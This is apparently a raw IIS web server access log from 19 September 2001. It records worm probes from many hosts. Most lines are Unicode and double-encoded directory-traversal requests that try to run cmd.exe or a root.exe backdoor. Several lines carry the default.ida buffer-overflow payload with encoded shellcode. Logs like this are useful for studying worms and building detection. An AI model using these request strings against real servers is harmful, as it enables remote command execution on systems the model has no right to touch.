server.intldev.uga.edu [128.192.69.9] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:34: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:36: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:36: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:50:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:50:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:50:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:50:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:50:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:50:00: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:51:52: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 00:51:52: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:51:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:00:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:00:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 01:01:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:03:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:03:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:13: ns.kcci.or.kr [210.124.8.13] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:03:38: ns.kcci.or.kr [210.124.8.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:03:42: ns.kcci.or.kr [210.124.8.13] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:03:53: ns.kcci.or.kr [210.124.8.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:04:00: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:04:01: ns.kcci.or.kr [210.124.8.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:04:02: ns.kcci.or.kr [210.124.8.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:04:48: ns.kcci.or.kr [210.124.8.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:04:52: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:04:53: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:05:03: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:05:07: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:05:08: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:05:08: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:05:10: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:05:10: ns.kcci.or.kr [210.124.8.13] "" 20010919 01:05:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:08:12: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 01:10:46: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 01:10:54: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:17:31: miami2.weitnaueramerica.com [12.8.6.178] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:17:32: miami2.weitnaueramerica.com [12.8.6.178] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:36: miami2.weitnaueramerica.com [12.8.6.178] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:37: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:37: miami2.weitnaueramerica.com [12.8.6.178] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:38: miami2.weitnaueramerica.com [12.8.6.178] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:38: miami2.weitnaueramerica.com [12.8.6.178] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:39: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:40: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:40: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:41: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:41: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:42: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:43: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:46: miami2.weitnaueramerica.com [12.8.6.178] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:17:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:23:37: [128.121.246.52] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:14: [128.121.246.52] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:27:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:33: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:33: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:33: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:33: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:33: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:33: [128.121.246.52] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:27:51: [128.121.246.52] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:28:10: [128.121.246.52] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:28:29: [128.121.246.52] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:28:47: [128.121.246.52] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:29:06: [128.121.246.52] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:29:25: [128.121.246.52] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:29:44: [128.121.246.52] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:30:02: [128.121.246.52] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:30:21: [128.121.246.52] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:30:40: [128.121.246.52] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:30:59: [128.121.246.52] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:31:17: [128.121.246.52] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:31:36: server.ratingspcr.com [216.244.172.115] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 01:31:37: [128.121.246.52] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:31:55: server.ratingspcr.com [216.244.172.115] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 01:31:55: server.ratingspcr.com [216.244.172.115] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:31:56: server.ratingspcr.com [216.244.172.115] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:31:56: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:31:57: server.ratingspcr.com [216.244.172.115] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:31:58: server.ratingspcr.com [216.244.172.115] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:31:59: server.ratingspcr.com [216.244.172.115] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:32:00: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:32:01: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:32:01: server.ratingspcr.com [216.244.172.115] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 01:32:02: server.ratingspcr.com 